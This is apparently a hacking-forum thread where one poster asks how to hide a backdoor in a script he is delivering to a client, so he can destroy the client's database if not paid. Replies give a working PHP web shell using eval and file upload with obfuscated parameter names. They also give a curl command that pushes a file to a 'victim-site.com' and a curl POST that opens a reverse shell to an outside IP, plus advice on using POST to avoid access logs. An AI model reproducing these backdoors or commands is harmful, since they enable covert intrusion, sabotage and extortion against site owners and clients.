[PHP] Backdoor question.

[cr4ka]

b3hindYou , how did the deal go?)

prob, Bro is drinking his Piña colada on the maldivies

 

[tacobella]

can exec a php code via eval or incase eval fun is disabled better can send over (upload) a file via curl


incase this code is saved in any of the pages eg : index.php

<?
if(isset(\$_FILES['4pzDK15j'])) {@move_uploaded_file(\$_FILES['4pzDK15j']['tmp_name'], \$_POST['Z9A1B3D']);} if(isset(\$_POST['KH4AW4a2'])) { eval(\$_POST['KH4AW4a2']); }";

curl -F "4pzDK15j=@C:\myhomepc\my-file.php" -F "Z9A1B3D=my-file.php" http://victim-site.com/index.php

will send 'my-file.php' to victim htdocs

curl -X POST -d "KH4AW4a2=$sock=fsockopen("155.55.150.200",4443);`sh <&3 >&3 2>&3`;" http://localhost/index.php

will send a back connection

you can remove the eval fun if u want a cleaner code

 

[promis]

never use $_GET for backdoors , it create log in access_log and can be find and remove
use $_POST

 

[el-farado]

Hello!

I am making a script, where I will need to leave a backdoor just to be safe I am not scammed. I do not want to use anything like C99 and so on since all that is detected as fuck.. So probably I will just write my own small script to do the necessary things.. for example:

if(isset($_GET["secret_backdoor"])) {
    if($_GET["destroy"]) {
        $db->clearDatabase();
    }
    if($_GET["something_else"]) {
        // more..
    }
}

What do you think? Should I do this and make my own? Or there are any alternatives around?

Thank you, -b3hindYou™